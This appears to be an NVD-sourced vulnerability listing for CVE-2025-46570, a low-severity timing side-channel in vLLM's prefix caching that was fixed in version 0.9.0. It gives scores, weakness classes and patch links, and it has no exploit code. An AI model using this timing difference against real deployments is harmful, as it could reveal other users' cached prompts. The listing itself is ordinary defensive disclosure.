CVE-2025-46570

LOW

2.6

Description

vLLM is an inference and serving engine for large language models (LLMs). Prior to version 0.9.0, when a new prompt is processed, if the PageAttention mechanism finds a matching prefix chunk, the prefill process speeds up, which is reflected in the TTFT (Time to First Token). These timing differences caused by matching chunks are significant enough to be recognized and exploited. This issue has been patched in version 0.9.0.

CVE Details

CVSS v3.1 Score2.6

SeverityLOW

CVSS VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N

Attack VectorNETWORK

ComplexityHIGH

Privileges RequiredLOW

User InteractionREQUIRED

Published5/29/2025

Last Modified6/24/2025

Sourcenvd

Honeypot Sightings0

Affected Products

vllm:vllm

Weaknesses (CWE)

CWE-208CWE-203

References

https://github.com/vllm-project/vllm/commit/77073c77bc2006eb80ea6d5128f076f5e6c6f54f(security-advisories@github.com)

https://github.com/vllm-project/vllm/pull/17045(security-advisories@github.com)

https://github.com/vllm-project/vllm/security/advisories/GHSA-4qjh-9fv9-r85r(security-advisories@github.com)

IOC Correlations

No correlations recorded

This product uses data from the NVD API but is not endorsed or certified by the NVD.